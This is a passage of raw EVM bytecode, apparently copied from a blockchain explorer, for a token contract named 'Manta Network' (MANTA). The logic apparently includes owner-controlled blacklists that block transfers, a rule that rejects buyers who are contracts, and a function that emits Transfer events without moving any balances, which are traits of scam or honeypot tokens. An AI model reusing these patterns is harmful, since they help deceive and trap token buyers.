20017f4d414e5441000000000000000000000000000000000000000000000000000000815250905090565b6000610ea2610e9b61124e565b848461141f565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610eed61124e565b73ffffffffffffffffffffffffffffffffffffffff1614610f0d57600080fd5b610f1630610c5a565b8111158015610f255750600081115b610f64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5b90612ef6565b60405180910390fd5b610f6d81611e6d565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610fd5573d6000803e3d6000fd5b5050565b600a5481565b60135481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661102661124e565b73ffffffffffffffffffffffffffffffffffffffff161461104657600080fd5b80601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61109261124e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461111f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111690612db2565b60405180910390fd5b601760149054906101000a900460ff161561116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612f62565b60405180910390fd5b6001601760166101000a81548160ff0219169083151502179055506001601760146101000a81548160ff02191690831515021790555043600781905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60095481565b601760149054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bc90612ff4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611334576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132b90613086565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161141291906126a7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361148e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148590613118565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f4906131aa565b60405180910390fd5b60008111611540576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115379061323c565b60405180910390fd5b600061154a610e22565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156115b85750611588610e22565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611b4c5760006007541180156115d0575060075443115b156115df576115de846120e6565b5b61161c606461160e600c54600f5410156115fb576008546115ff565b600a545b8561222b90919063ffffffff16565b6122a590919063ffffffff16565b9050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156116c95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156118905743600754036117c757600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611763576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175a906132ce565b60405180910390fd5b6009600a6117719190612c4a565b6301312d006117809190612c95565b8211156117c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b99061333a565b60405180910390fd5b61188f565b60115482111561180c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611803906133a6565b60405180910390fd5b6012548261181985610c5a565b61182391906133c6565b1115611864576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185b90613468565b60405180910390fd5b43600160075461187491906133c6565b111561188e57611883836122ef565b1561188d57600080fd5b5b5b5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119385750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611996576012548261194a85610c5a565b61195491906133c6565b1115611995576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198c90613468565b60405180910390fd5b5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a1f57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611a6357611a606064611a52600d54600f5411611a3f57600954611a43565b600b545b8561222b90919063ffffffff16565b6122a590919063ffffffff16565b90505b6000611a6e30610c5a565b9050601760159054906101000a900460ff16158015611ada5750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611af25750601760169054906101000a900460ff165b8015611aff575060135481115b8015611b0e5750600e54600f54115b15611b4a57611b30611b2b84611b2684601454612302565b612302565b611e6d565b60004790506000811115611b4857611b474761231b565b5b505b505b6000811115611c5057611ba781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461238790919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c4791906126a7565b60405180910390a35b611ca282600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123e590919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d49611cfb82846123e590919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461238790919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611dee84866123e590919063ffffffff16565b604051611dfb91906126a7565b60405180910390a350505050565b6000838311158290611e51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e48919061252b565b60405180910390fd5b5060008385611e609190613488565b9050809150509392505050565b6001601760156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ea557611ea46126f3565b5b604051908082528060200260200182016040528015611ed35781602001602082028036833780820191505090505b5090503081600081518110611eeb57611eea612cef565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f92573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fb691906134d1565b81600181518110611fca57611fc9612cef565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061203130601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611256565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120959594939291906135f7565b600060405180830381600087803b1580156120af57600080fd5b505af11580156120c3573d6000803e3d6000fd5b50505050506000601760156101000a81548160ff02191690831515021790555050565b6009600a6120f49190612c4a565b633b9aca006121039190612c95565b6011819055506009600a6121179190612c4a565b633b9aca006121269190612c95565b601281905550600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156121d557600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166121d457600080fd5b5b7f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6122049190612c4a565b633b9aca006122139190612c95565b60405161222091906126a7565b60405180910390a150565b600080830361223d576000905061229f565b6000828461224b9190612c95565b905082848261225a9190613680565b1461229a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161229190613723565b60405180910390fd5b809150505b92915050565b60006122e783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061242f565b905092915050565b600080823b905060008111915050919050565b60008183116123115782612313565b815b905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612383573d6000803e3d6000fd5b5050565b600080828461239691906133c6565b9050838110156123db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123d29061378f565b60405180910390fd5b8091505092915050565b600061242783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e09565b905092915050565b60008083118290612476576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246d919061252b565b60405180910390fd5b50600083856124859190613680565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156124cc5780820151818401526020810190506124b1565b838111156124db576000848401525b50505050565b6000601f19601f8301169050919050565b60006124fd82612492565b612507818561249d565b93506125178185602086016124ae565b612520816124e1565b840191505092915050565b6000602082019050818103600083015261254581846124f2565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061258c82612561565b9050919050565b61259c81612581565b81146125a757600080fd5b50565b6000813590506125b981612593565b92915050565b6000819050919050565b6125d2816125bf565b81146125dd57600080fd5b50565b6000813590506125ef816125c9565b92915050565b6000806040838503121561260c5761260b612557565b5b600061261a858286016125aa565b925050602061262b858286016125e0565b9150509250929050565b60008115159050919050565b61264a81612635565b82525050565b60006020820190506126656000830184612641565b92915050565b60006020828403121561268157612680612557565b5b600061268f848285016125aa565b91505092915050565b6126a1816125bf565b82525050565b60006020820190506126bc6000830184612698565b92915050565b6126cb81612635565b81146126d657600080fd5b50565b6000813590506126e8816126c2565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61272b826124e1565b810181811067ffffffffffffffff8211171561274a576127496126f3565b5b80604052505050565b600061275d61254d565b90506127698282612722565b919050565b600067ffffffffffffffff821115612789576127886126f3565b5b602082029050602081019050919050565b600080fd5b60006127b26127ad8461276e565b612753565b905080838252602082019050602084028301858111156127d5576127d461279a565b5b835b818110156127fe57806127ea88826125aa565b8452602084019350506020810190506127d7565b5050509392505050565b600082601f83011261281d5761281c6126ee565b5b813561282d84826020860161279f565b91505092915050565b6000806040838503121561284d5761284c612557565b5b600061285b858286016126d9565b925050602083013567ffffffffffffffff81111561287c5761287b61255c565b5b61288885828601612808565b9150509250929050565b6000806000606084860312156128ab576128aa612557565b5b60006128b9868287016125aa565b93505060206128ca868287016125aa565b92505060406128db868287016125e0565b9150509250925092565b600080fd5b60008083601f840112612900576128ff6126ee565b5b8235905067ffffffffffffffff81111561291d5761291c6128e5565b5b6020830191508360208202830111156129395761293861279a565b5b9250929050565b60008060006040848603121561295957612958612557565b5b600084013567ffffffffffffffff8111156129775761297661255c565b5b612983868287016128ea565b93509350506020612996868287016125e0565b9150509250925092565b600060ff82169050919050565b6129b6816129a0565b82525050565b60006020820190506129d160008301846129ad565b92915050565b6000819050919050565b60006129fc6129f76129f284612561565b6129d7565b612561565b9050919050565b6000612a0e826129e1565b9050919050565b6000612a2082612a03565b9050919050565b612a3081612a15565b82525050565b6000602082019050612a4b6000830184612a27565b92915050565b612a5a81612581565b82525050565b6000602082019050612a756000830184612a51565b92915050565b600060208284031215612a9157612a90612557565b5b6000612a9f848285016125e0565b91505092915050565b60008060408385031215612abf57612abe612557565b5b6000612acd858286016125aa565b9250506020612ade858286016125aa565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612b6e57808604811115612b4a57612b49612ae8565b5b6001851615612b595780820291505b8081029050612b6785612b17565b9450612b2e565b94509492505050565b600082612b875760019050612c43565b81612b955760009050612c43565b8160018114612bab5760028114612bb557612be4565b6001915050612c43565b60ff841115612bc757612bc6612ae8565b5b8360020a915084821115612bde57612bdd612ae8565b5b50612c43565b5060208310610133831016604e8410600b8410161715612c195782820a905083811115612c1457612c13612ae8565b5b612c43565b612c268484846001612b24565b92509050818404811115612c3d57612c3c612ae8565b5b81810290505b9392505050565b6000612c55826125bf565b9150612c60836129a0565b9250612c8d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612b77565b905092915050565b6000612ca0826125bf565b9150612cab836125bf565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612ce457612ce3612ae8565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612d29826125bf565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d5b57612d5a612ae8565b5b600182019050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612d9c60208361249d565b9150612da782612d66565b602082019050919050565b60006020820190508181036000830152612dcb81612d8f565b9050919050565b7f54726164696e672068617320616c7265616479206265656e206f70656e656400600082015250565b6000612e08601f8361249d565b9150612e1382612dd2565b602082019050919050565b60006020820190508181036000830152612e3781612dfb565b9050919050565b7f436f6e747261637420686173206e6f204554482062616c616e63650000000000600082015250565b6000612e74601b8361249d565b9150612e7f82612e3e565b602082019050919050565b60006020820190508181036000830152612ea381612e67565b9050919050565b7f57726f6e6720616d6f756e740000000000000000000000000000000000000000600082015250565b6000612ee0600c8361249d565b9150612eeb82612eaa565b602082019050919050565b60006020820190508181036000830152612f0f81612ed3565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612f4c60178361249d565b9150612f5782612f16565b602082019050919050565b60006020820190508181036000830152612f7b81612f3f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612fde60248361249d565b9150612fe982612f82565b604082019050919050565b6000602082019050818103600083015261300d81612fd1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061307060228361249d565b915061307b82613014565b604082019050919050565b6000602082019050818103600083015261309f81613063565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061310260258361249d565b915061310d826130a6565b604082019050919050565b60006020820190508181036000830152613131816130f5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061319460238361249d565b915061319f82613138565b604082019050919050565b600060208201905081810360008301526131c381613187565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061322660298361249d565b9150613231826131ca565b604082019050919050565b6000602082019050818103600083015261325581613219565b9050919050565b7f426f74206164647265737365732063616e6e6f742062757920696e207468652060008201527f666972737420626c6f636b000000000000000000000000000000000000000000602082015250565b60006132b8602b8361249d565b91506132c38261325c565b604082019050919050565b600060208201905081810360008301526132e7816132ab565b9050919050565b7f457863656564732074686520737761705468726573686f6c642e000000000000600082015250565b6000613324601a8361249d565b915061332f826132ee565b602082019050919050565b6000602082019050818103600083015261335381613317565b9050919050565b7f4578636565647320746865206d61785478416d6f756e742e0000000000000000600082015250565b600061339060188361249d565b915061339b8261335a565b602082019050919050565b600060208201905081810360008301526133bf81613383565b9050919050565b60006133d1826125bf565b91506133dc836125bf565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561341157613410612ae8565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000613452601a8361249d565b915061345d8261341c565b602082019050919050565b6000602082019050818103600083015261348181613445565b9050919050565b6000613493826125bf565b915061349e836125bf565b9250828210156134b1576134b0612ae8565b5b828203905092915050565b6000815190506134cb81612593565b92915050565b6000602082840312156134e7576134e6612557565b5b60006134f5848285016134bc565b91505092915050565b6000819050919050565b600061352361351e613519846134fe565b6129d7565b6125bf565b9050919050565b61353381613508565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61356e81612581565b82525050565b60006135808383613565565b60208301905092915050565b6000602082019050919050565b60006135a482613539565b6135ae8185613544565b93506135b983613555565b8060005b838110156135ea5781516135d18882613574565b97506135dc8361358c565b9250506001810190506135bd565b5085935050505092915050565b600060a08201905061360c6000830188612698565b613619602083018761352a565b818103604083015261362b8186613599565b905061363a6060830185612a51565b6136476080830184612698565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061368b826125bf565b9150613696836125bf565b9250826136a6576136a5613651565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061370d60218361249d565b9150613718826136b1565b604082019050919050565b6000602082019050818103600083015261373c81613700565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613779601b8361249d565b915061378482613743565b602082019050919050565b600060208201905081810360008301526137a88161376c565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202a4640a9a7d96994126be659b4e94140e57fe1643b9dc298ec6b6f79f361f69264736f6c634300080f0033000000000000000000000000d56eb70d5aa5224657e13c4062abfd74cf88f738

Deployed Bytecode

0x6080604052600436106101c65760003560e01c8063715018a6116100f7578063b70143c911610095578063c9567bf911610064578063c9567bf91461062f578063dd62ed3e14610646578063e1b1925814610683578063ffb54a99146106ae576101cd565b8063b70143c914610587578063baeb7a7d146105b0578063bf474bed146105db578063c2b7bbb614610606576101cd565b80638da5cb5b116100d15780638da5cb5b146104c95780638f9a55c0146104f457806395d89b411461051f578063a9059cbb1461054a576101cd565b8063715018a61461045c5780637d1db4a5146104735780638bdb2afa1461049e576101cd565b806326ededb8116101645780633ccfd60b1161013e5780633ccfd60b146103b25780633ef94721146103c957806353868490146103f457806370a082311461041f576101cd565b806326ededb814610333578063313ce5671461035c5780633b7cdccd14610387576101cd565b80630faee56f116101a05780630faee56f1461027757806318160ddd146102a25780631b372bbd146102cd57806323b872dd146102f6576101cd565b806306fdde03146101d2578063095ea7b3146101fd5780630a5872911461023a576101cd565b366101cd57005b600080fd5b3480156101de57600080fd5b506101e76106d9565b6040516101f4919061252b565b60405180910390f35b34801561020957600080fd5b50610224600480360381019061021f91906125f5565b610716565b6040516102319190612650565b60405180910390f35b34801561024657600080fd5b50610261600480360381019061025c919061266b565b610734565b60405161026e9190612650565b60405180910390f35b34801561028357600080fd5b5061028c61078a565b60405161029991906126a7565b60405180910390f35b3480156102ae57600080fd5b506102b7610790565b6040516102c491906126a7565b60405180910390f35b3480156102d957600080fd5b506102f460048036038101906102ef9190612836565b6107b4565b005b34801561030257600080fd5b5061031d60048036038101906103189190612892565b6108b0565b60405161032a9190612650565b60405180910390f35b34801561033f57600080fd5b5061035a60048036038101906103559190612940565b610989565b005b34801561036857600080fd5b50610371610abf565b60405161037e91906129bc565b60405180910390f35b34801561039357600080fd5b5061039c610ac8565b6040516103a991906126a7565b60405180910390f35b3480156103be57600080fd5b506103c7610ace565b005b3480156103d557600080fd5b506103de610c4c565b6040516103eb91906126a7565b60405180910390f35b34801561040057600080fd5b50610409610c52565b60405161041691906126a7565b60405180910390f35b34801561042b57600080fd5b506104466004803603810190610441919061266b565b610c5a565b60405161045391906126a7565b60405180910390f35b34801561046857600080fd5b50610471610ca3565b005b34801561047f57600080fd5b50610488610df6565b60405161049591906126a7565b60405180910390f35b3480156104aa57600080fd5b506104b3610dfc565b6040516104c09190612a36565b60405180910390f35b3480156104d557600080fd5b506104de610e22565b6040516104eb9190612a60565b60405180910390f35b34801561050057600080fd5b50610509610e4b565b60405161051691906126a7565b60405180910390f35b34801561052b57600080fd5b50610534610e51565b604051610541919061252b565b60405180910390f35b34801561055657600080fd5b50610571600480360381019061056c91906125f5565b610e8e565b60405161057e9190612650565b60405180910390f35b34801561059357600080fd5b506105ae60048036038101906105a99190612a7b565b610eac565b005b3480156105bc57600080fd5b506105c5610fd9565b6040516105d291906126a7565b60405180910390f35b3480156105e757600080fd5b506105f0610fdf565b6040516105fd91906126a7565b60405180910390f35b34801561061257600080fd5b5061062d6004803603810190610628919061266b565b610fe5565b005b34801561063b57600080fd5b5061064461108a565b005b34801561065257600080fd5b5061066d60048036038101906106689190612aa8565b6111ae565b60405161067a91906126a7565b60405180910390f35b34801561068f57600080fd5b50610698611235565b6040516106a591906126a7565b60405180910390f35b3480156106ba57600080fd5b506106c361123b565b6040516106d09190612650565b60405180910390f35b60606040518060400160405280600d81526020017f4d616e7461204e6574776f726b00000000000000000000000000000000000000815250905090565b600061072a61072361124e565b8484611256565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60145481565b60006009600a6107a09190612c4a565b633b9aca006107af9190612c95565b905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107f561124e565b73ffffffffffffffffffffffffffffffffffffffff161461081557600080fd5b60005b81518110156108ab57600082828151811061083657610835612cef565b5b6020026020010151905083600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555081806108a290612d1e565b92505050610818565b505050565b60006108bd84848461141f565b61097e846108c961124e565b610979856040518060600160405280602881526020016137b060289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061092f61124e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e099092919063ffffffff16565b611256565b600190509392505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ca61124e565b73ffffffffffffffffffffffffffffffffffffffff16146109ea57600080fd5b60005b83839050811015610ab957838382818110610a0b57610a0a612cef565b5b9050602002016020810190610a20919061266b565b73ffffffffffffffffffffffffffffffffffffffff16601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a9e91906126a7565b60405180910390a38080610ab190612d1e565b9150506109ed565b50505050565b60006009905090565b60085481565b610ad661124e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5a90612db2565b60405180910390fd5b601760149054906101000a900460ff1615610bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baa90612e1e565b60405180910390fd5b600047905060008111610bfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf290612e8a565b60405180910390fd5b610c03610e22565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610c48573d6000803e3d6000fd5b5050565b600b5481565b60005a905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610cab61124e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2f90612db2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60115481565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60125481565b60606040518060400160405280600581526020017f4d414e5441000000000000000000000000000000000000000000000000000000815250905090565b6000610ea2610e9b61124e565b848461141f565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610eed61124e565b73ffffffffffffffffffffffffffffffffffffffff1614610f0d57600080fd5b610f1630610c5a565b8111158015610f255750600081115b610f64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5b90612ef6565b60405180910390fd5b610f6d81611e6d565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610fd5573d6000803e3d6000fd5b5050565b600a5481565b60135481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661102661124e565b73ffffffffffffffffffffffffffffffffffffffff161461104657600080fd5b80601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61109261124e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461111f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111690612db2565b60405180910390fd5b601760149054906101000a900460ff161561116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612f62565b60405180910390fd5b6001601760166101000a81548160ff0219169083151502179055506001601760146101000a81548160ff02191690831515021790555043600781905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60095481565b601760149054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bc90612ff4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611334576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132b90613086565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161141291906126a7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361148e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148590613118565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f4906131aa565b60405180910390fd5b60008111611540576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115379061323c565b60405180910390fd5b600061154a610e22565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156115b85750611588610e22565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611b4c5760006007541180156115d0575060075443115b156115df576115de846120e6565b5b61161c606461160e600c54600f5410156115fb576008546115ff565b600a545b8561222b90919063ffffffff16565b6122a590919063ffffffff16565b9050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156116c95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156118905743600754036117c757600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611763576040517f